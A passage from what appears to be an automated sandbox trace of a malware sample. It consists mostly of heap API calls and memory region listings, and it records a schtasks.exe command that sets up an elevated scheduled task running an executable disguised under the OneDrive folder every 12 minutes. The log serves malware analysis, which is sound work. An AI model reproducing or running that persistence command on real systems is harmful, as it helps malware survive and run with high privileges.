(HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28bab0) returned 0x18 [0141.785] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28bab0 | out: hHeap=0x270000) returned 1 [0141.785] GetProcessHeap () returned 0x270000 [0141.785] GetProcessHeap () returned 0x270000 [0141.785] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x285bf0) returned 1 [0141.785] GetProcessHeap () returned 0x270000 [0141.785] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x285bf0) returned 0x20 [0141.786] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x285bf0 | out: hHeap=0x270000) returned 1 [0141.786] GetProcessHeap () returned 0x270000 [0141.786] GetProcessHeap () returned 0x270000 [0141.786] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28c220) returned 1 [0141.786] GetProcessHeap () returned 0x270000 [0141.786] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28c220) returned 0x14 [0141.786] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28c220 | out: hHeap=0x270000) returned 1 [0141.786] GetProcessHeap () returned 0x270000 [0141.786] GetProcessHeap () returned 0x270000 [0141.786] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28c200) returned 1 [0141.786] GetProcessHeap () returned 0x270000 [0141.786] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28c200) returned 0x18 [0141.786] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28c200 | out: hHeap=0x270000) returned 1 [0141.787] GetProcessHeap () returned 0x270000 [0141.787] GetProcessHeap () returned 0x270000 [0141.787] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x285b30) returned 1 [0141.787] GetProcessHeap () returned 0x270000 [0141.787] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x285b30) returned 0x20 [0141.787] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x285b30 | out: hHeap=0x270000) returned 1 [0141.787] GetProcessHeap () returned 0x270000 [0141.787] GetProcessHeap () returned 0x270000 [0141.787] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28c240) returned 1 [0141.787] GetProcessHeap () returned 0x270000 [0141.787] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28c240) returned 0x16 [0141.787] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28c240 | out: hHeap=0x270000) returned 1 [0141.787] GetProcessHeap () returned 0x270000 [0141.788] GetProcessHeap () returned 0x270000 [0141.788] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28c1c0) returned 1 [0141.788] GetProcessHeap () returned 0x270000 [0141.788] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28c1c0) returned 0x18 [0141.788] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28c1c0 | out: hHeap=0x270000) returned 1 [0141.788] GetProcessHeap () returned 0x270000 [0141.788] GetProcessHeap () returned 0x270000 [0141.788] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x285b00) returned 1 [0141.788] GetProcessHeap () returned 0x270000 [0141.788] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x285b00) returned 0x20 [0141.788] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x285b00 | out: hHeap=0x270000) returned 1 [0141.788] GetProcessHeap () returned 0x270000 [0141.788] GetProcessHeap () returned 0x270000 [0141.789] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28b9f0) returned 1 [0141.789] GetProcessHeap () returned 0x270000 [0141.789] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28b9f0) returned 0x2 [0141.789] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28b9f0 | out: hHeap=0x270000) returned 1 [0141.789] GetProcessHeap () returned 0x270000 [0141.789] GetProcessHeap () returned 0x270000 [0141.789] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x285950) returned 1 [0141.789] GetProcessHeap () returned 0x270000 [0141.789] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x285950) returned 0x20 [0141.789] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x285950 | out: hHeap=0x270000) returned 1 [0141.789] GetProcessHeap () returned 0x270000 [0141.789] GetProcessHeap () returned 0x270000 [0141.789] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x285980) returned 1 [0141.789] GetProcessHeap () returned 0x270000 [0141.790] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x285980) returned 0x20 [0141.790] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x285980 | out: hHeap=0x270000) returned 1 [0141.790] GetProcessHeap () returned 0x270000 [0141.790] GetProcessHeap () returned 0x270000 [0141.790] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x2859b0) returned 1 [0141.790] GetProcessHeap () returned 0x270000 [0141.790] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x2859b0) returned 0x20 [0141.791] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2859b0 | out: hHeap=0x270000) returned 1 [0141.791] GetProcessHeap () returned 0x270000 [0141.791] GetProcessHeap () returned 0x270000 [0141.791] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x2859e0) returned 1 [0141.791] GetProcessHeap () returned 0x270000 [0141.791] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x2859e0) returned 0x20 [0141.791] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2859e0 | out: hHeap=0x270000) returned 1 [0141.791] GetProcessHeap () returned 0x270000 [0141.791] GetProcessHeap () returned 0x270000 [0141.791] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28cb60) returned 1 [0141.791] GetProcessHeap () returned 0x270000 [0141.791] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28cb60) returned 0x20 [0141.792] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28cb60 | out: hHeap=0x270000) returned 1 [0141.792] GetProcessHeap () returned 0x270000 [0141.792] GetProcessHeap () returned 0x270000 [0141.792] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28d680) returned 1 [0141.792] GetProcessHeap () returned 0x270000 [0141.792] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28d680) returned 0xc [0141.792] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28d680 | out: hHeap=0x270000) returned 1 [0141.792] GetProcessHeap () returned 0x270000 [0141.792] GetProcessHeap () returned 0x270000 [0141.792] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28cb90) returned 1 [0141.792] GetProcessHeap () returned 0x270000 [0141.792] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28cb90) returned 0x20 [0141.793] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28cb90 | out: hHeap=0x270000) returned 1 [0141.793] GetProcessHeap () returned 0x270000 [0141.793] GetProcessHeap () returned 0x270000 [0141.793] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x287a70) returned 1 [0141.793] GetProcessHeap () returned 0x270000 [0141.793] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x287a70) returned 0x30 [0141.793] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x287a70 | out: hHeap=0x270000) returned 1 [0141.793] GetProcessHeap () returned 0x270000 [0141.793] GetProcessHeap () returned 0x270000 [0141.793] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28cbc0) returned 1 [0141.794] GetProcessHeap () returned 0x270000 [0141.794] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28cbc0) returned 0x20 [0141.794] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28cbc0 | out: hHeap=0x270000) returned 1 [0141.794] GetProcessHeap () returned 0x270000 [0141.794] GetProcessHeap () returned 0x270000 [0141.794] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x287ab0) returned 1 [0141.794] GetProcessHeap () returned 0x270000 [0141.794] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x287ab0) returned 0x30 [0141.794] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x287ab0 | out: hHeap=0x270000) returned 1 [0141.795] GetProcessHeap () returned 0x270000 [0141.795] GetProcessHeap () returned 0x270000 [0141.795] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28cd40) returned 1 [0141.795] GetProcessHeap () returned 0x270000 [0141.795] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28cd40) returned 0x20 [0141.795] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28cd40 | out: hHeap=0x270000) returned 1 [0141.795] GetProcessHeap () returned 0x270000 [0141.795] GetProcessHeap () returned 0x270000 [0141.795] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28d5a0) returned 1 [0141.795] GetProcessHeap () returned 0x270000 [0141.795] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28d5a0) returned 0x16 [0141.795] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28d5a0 | out: hHeap=0x270000) returned 1 [0141.795] GetProcessHeap () returned 0x270000 [0141.796] GetProcessHeap () returned 0x270000 [0141.796] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28cd10) returned 1 [0141.796] GetProcessHeap () returned 0x270000 [0141.796] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28cd10) returned 0x20 [0141.796] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28cd10 | out: hHeap=0x270000) returned 1 [0141.796] GetProcessHeap () returned 0x270000 [0141.796] GetProcessHeap () returned 0x270000 [0141.796] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28d5c0) returned 1 [0141.796] GetProcessHeap () returned 0x270000 [0141.796] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28d5c0) returned 0x16 [0141.797] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28d5c0 | out: hHeap=0x270000) returned 1 [0141.797] GetProcessHeap () returned 0x270000 [0141.797] GetProcessHeap () returned 0x270000 [0141.797] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28cce0) returned 1 [0141.797] GetProcessHeap () returned 0x270000 [0141.797] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28cce0) returned 0x20 [0141.797] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28cce0 | out: hHeap=0x270000) returned 1 [0141.797] GetProcessHeap () returned 0x270000 [0141.798] GetProcessHeap () returned 0x270000 [0141.799] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x2a9ba0) returned 1 [0141.799] GetProcessHeap () returned 0x270000 [0141.799] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x2a9ba0) returned 0x82 [0141.799] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2a9ba0 | out: hHeap=0x270000) returned 1 [0141.799] GetProcessHeap () returned 0x270000 [0141.799] GetProcessHeap () returned 0x270000 [0141.799] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28ccb0) returned 1 [0141.799] GetProcessHeap () returned 0x270000 [0141.799] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28ccb0) returned 0x20 [0141.800] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28ccb0 | out: hHeap=0x270000) returned 1 [0141.800] GetProcessHeap () returned 0x270000 [0141.800] GetProcessHeap () returned 0x270000 [0141.800] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28d600) returned 1 [0141.800] GetProcessHeap () returned 0x270000 [0141.800] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28d600) returned 0xe [0141.800] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28d600 | out: hHeap=0x270000) returned 1 [0141.800] GetProcessHeap () returned 0x270000 [0141.800] GetProcessHeap () returned 0x270000 [0141.800] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28cc80) returned 1 [0141.800] GetProcessHeap () returned 0x270000 [0141.800] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28cc80) returned 0x20 [0141.801] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28cc80 | out: hHeap=0x270000) returned 1 [0141.801] GetProcessHeap () returned 0x270000 [0141.801] GetProcessHeap () returned 0x270000 [0141.801] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28d620) returned 1 [0141.801] GetProcessHeap () returned 0x270000 [0141.801] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28d620) returned 0xc [0141.801] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28d620 | out: hHeap=0x270000) returned 1 [0141.801] GetProcessHeap () returned 0x270000 [0141.801] GetProcessHeap () returned 0x270000 [0141.801] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28cc50) returned 1 [0141.801] GetProcessHeap () returned 0x270000 [0141.801] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28cc50) returned 0x20 [0141.801] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28cc50 | out: hHeap=0x270000) returned 1 [0141.802] GetProcessHeap () returned 0x270000 [0141.802] GetProcessHeap () returned 0x270000 [0141.802] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28d640) returned 1 [0141.802] GetProcessHeap () returned 0x270000 [0141.802] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28d640) returned 0xe [0141.802] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28d640 | out: hHeap=0x270000) returned 1 [0141.802] GetProcessHeap () returned 0x270000 [0141.802] GetProcessHeap () returned 0x270000 [0141.802] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28cc20) returned 1 [0141.802] GetProcessHeap () returned 0x270000 [0141.802] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28cc20) returned 0x20 [0141.802] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28cc20 | out: hHeap=0x270000) returned 1 [0141.802] GetProcessHeap () returned 0x270000 [0141.802] GetProcessHeap () returned 0x270000 [0141.803] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28d660) returned 1 [0141.803] GetProcessHeap () returned 0x270000 [0141.803] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28d660) returned 0x10 [0141.803] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28d660 | out: hHeap=0x270000) returned 1 [0141.803] GetProcessHeap () returned 0x270000 [0141.803] GetProcessHeap () returned 0x270000 [0141.803] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28cbf0) returned 1 [0141.803] GetProcessHeap () returned 0x270000 [0141.803] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28cbf0) returned 0x20 [0141.803] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28cbf0 | out: hHeap=0x270000) returned 1 [0141.803] GetProcessHeap () returned 0x270000 [0141.803] GetProcessHeap () returned 0x270000 [0141.803] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28ba10) returned 1 [0141.803] GetProcessHeap () returned 0x270000 [0141.803] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28ba10) returned 0x18 [0141.804] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28ba10 | out: hHeap=0x270000) returned 1 [0141.804] GetProcessHeap () returned 0x270000 [0141.804] GetProcessHeap () returned 0x270000 [0141.804] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x285a10) returned 1 [0141.804] GetProcessHeap () returned 0x270000 [0141.804] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x285a10) returned 0x20 [0141.804] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x285a10 | out: hHeap=0x270000) returned 1 [0141.804] GetProcessHeap () returned 0x270000 [0141.804] GetProcessHeap () returned 0x270000 [0141.804] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x285a40) returned 1 [0141.804] GetProcessHeap () returned 0x270000 [0141.804] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x285a40) returned 0x20 [0141.805] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x285a40 | out: hHeap=0x270000) returned 1 [0141.805] GetProcessHeap () returned 0x270000 [0141.805] GetProcessHeap () returned 0x270000 [0141.805] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x285a70) returned 1 [0141.805] GetProcessHeap () returned 0x270000 [0141.805] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x285a70) returned 0x20 [0141.805] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x285a70 | out: hHeap=0x270000) returned 1 [0141.805] GetProcessHeap () returned 0x270000 [0141.805] GetProcessHeap () returned 0x270000 [0141.805] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x285aa0) returned 1 [0141.806] GetProcessHeap () returned 0x270000 [0141.806] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x285aa0) returned 0x20 [0141.806] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x285aa0 | out: hHeap=0x270000) returned 1 [0141.806] GetProcessHeap () returned 0x270000 [0141.806] GetProcessHeap () returned 0x270000 [0141.806] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28ba30) returned 1 [0141.806] GetProcessHeap () returned 0x270000 [0141.806] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28ba30) returned 0x18 [0141.806] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28ba30 | out: hHeap=0x270000) returned 1 [0141.806] GetProcessHeap () returned 0x270000 [0141.806] GetProcessHeap () returned 0x270000 [0141.806] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x285ad0) returned 1 [0141.806] GetProcessHeap () returned 0x270000 [0141.806] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x285ad0) returned 0x20 [0141.807] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x285ad0 | out: hHeap=0x270000) returned 1 [0141.807] GetProcessHeap () returned 0x270000 [0141.807] GetProcessHeap () returned 0x270000 [0141.807] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x285b60) returned 1 [0141.807] GetProcessHeap () returned 0x270000 [0141.807] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x285b60) returned 0x20 [0141.807] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x285b60 | out: hHeap=0x270000) returned 1 [0141.807] GetProcessHeap () returned 0x270000 [0141.807] GetProcessHeap () returned 0x270000 [0141.807] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x285bc0) returned 1 [0141.807] GetProcessHeap () returned 0x270000 [0141.807] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x285bc0) returned 0x20 [0141.808] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x285bc0 | out: hHeap=0x270000) returned 1 [0141.808] GetProcessHeap () returned 0x270000 [0141.808] GetProcessHeap () returned 0x270000 [0141.808] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x285c20) returned 1 [0141.808] GetProcessHeap () returned 0x270000 [0141.808] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x285c20) returned 0x20 [0141.808] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x285c20 | out: hHeap=0x270000) returned 1 [0141.808] GetProcessHeap () returned 0x270000 [0141.808] GetProcessHeap () returned 0x270000 [0141.808] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x285c50) returned 1 [0141.808] GetProcessHeap () returned 0x270000 [0141.808] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x285c50) returned 0x20 [0141.809] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x285c50 | out: hHeap=0x270000) returned 1 [0141.809] GetProcessHeap () returned 0x270000 [0141.809] GetProcessHeap () returned 0x270000 [0141.809] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28ba50) returned 1 [0141.809] GetProcessHeap () returned 0x270000 [0141.809] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28ba50) returned 0x18 [0141.809] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28ba50 | out: hHeap=0x270000) returned 1 [0141.809] GetProcessHeap () returned 0x270000 [0141.809] GetProcessHeap () returned 0x270000 [0141.809] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x285b90) returned 1 [0141.809] GetProcessHeap () returned 0x270000 [0141.809] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x285b90) returned 0x20 [0141.809] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x285b90 | out: hHeap=0x270000) returned 1 [0141.809] GetProcessHeap () returned 0x270000 [0141.809] GetProcessHeap () returned 0x270000 [0141.809] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28b9d0) returned 1 [0141.809] GetProcessHeap () returned 0x270000 [0141.809] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28b9d0) returned 0x18 [0141.809] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28b9d0 | out: hHeap=0x270000) returned 1 [0141.810] exit (_Code=0) Thread: id = 147 os_tid = 0xfc0 Process: id = "30" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x416cb000" os_pid = "0xfc4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"omniposo\" /sc MINUTE /mo 12 /tr \"'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2887 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2888 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2889 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2890 start_va = 0x140000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 2891 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2892 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2893 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2894 start_va = 0xfff90000 end_va = 0xfffd7fff monitored = 1 entry_point = 0xfffb966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2895 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2896 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2897 start_va = 0x7fffffdc000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2898 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2899 start_va = 0x1c0000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 2900 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2901 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2902 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2903 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2904 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2905 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2906 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2907 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2908 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2909 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2910 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2911 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2912 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2913 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2914 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2915 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name 